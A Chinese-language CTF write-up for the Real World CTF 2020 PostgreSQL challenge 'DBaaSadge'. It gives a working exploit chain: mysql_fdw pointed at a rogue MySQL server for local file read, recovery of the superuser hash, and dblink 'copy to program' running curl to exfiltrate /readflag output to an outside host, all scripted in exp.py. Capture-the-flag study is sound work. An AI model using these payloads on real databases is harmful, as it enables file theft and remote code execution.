Real World CTF 2020 比赛很棒,题目很好,我很菜
DBaaSadge 就一个PostgreSQL任意语句执行,给的权限不是superuser,但大部分操作是能进行的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); if (!$sql =(string )$_GET ["sql" ]){ show_source(__FILE__ ); die (); } header('Content-Type: text/plain' ); if (strlen($sql )>100 ){ die ('That query is too long ;_;' ); } if (!pg_pconnect('dbname=postgres user=realuser' )){ die ('DB gone ;_;' ); } if ($query = pg_query($sql )){ print_r(pg_fetch_all($query )); } else { die ('._.?' ); }
题目提供了docker文件
看下Dockerfile发现:
1 2 安装了postgresql-10-mysql-fdw 还开启了dblink
相关的介绍文章:
https://www.percona.com/blog/2018/08/21/foreign-data-wrappers-postgresql-postgres_fdw/
https://www.postgresql.org/docs/10/contrib-dblink-function.html
一个是远程连接mysql,一个是远程连接postgresql 。
mysql客户端有个非常有名的漏洞:Load data local infile '/etc/passwd' into table proc;
,即客户端文件读取,利用https://github.com/allyshka/Rogue-MySql-Server 搭建一个恶意mysql服务端成功读取到文件
1 2 3 4 CREATE SERVER q FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ccreater.top',port'63306') CREATE USER MAPPING FOR realuser SERVER q OPTIONS (username 'a', password 'a'); CREATE FOREIGN TABLE c (id int)SERVER q OPTIONS(dbname 'a',table_name 'a') select * from c
结合dblink很自然的想到读取postgress数据库存储文件获得superuser密码再任意命令执行
通过本地搭建环境获得数据库文件位置:/var/lib/postgresql/10/main/base
已查找一下postgresql为关键词查找文件得到密码所在文件:
/var/lib/postgresql/10/main/global/1260
查找一下postgresql的加密规则:md5(password+username)
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestssqls=[ "CREATE SERVER q FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ccreater.top',port'63306')" , "CREATE USER MAPPING FOR realuser SERVER q OPTIONS (username 'a', password 'a')" , "CREATE FOREIGN TABLE c (id int)SERVER q OPTIONS(dbname 'a',table_name 'a')" , "select * from c" ] sqls=[ "select dblink('host=0 password=jpr5q','copy(select)to program''curl y5pwcd.ceye.io/`/readflag`''')" ] def hack (sql ): burp0_url = "http://54.219.197.26:60080/" burp0_headers = {"Pragma" : "no-cache" , "Cache-Control" : "no-cache" , "Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" } r= requests.get(burp0_url, headers=burp0_headers,params={ "sql" :sql }) print (r.text) for sql in sqls: hack(sql)
rwctf{pop_cat_says_p1ea5e_upd4t3_youR_libmysqlclient_kekW}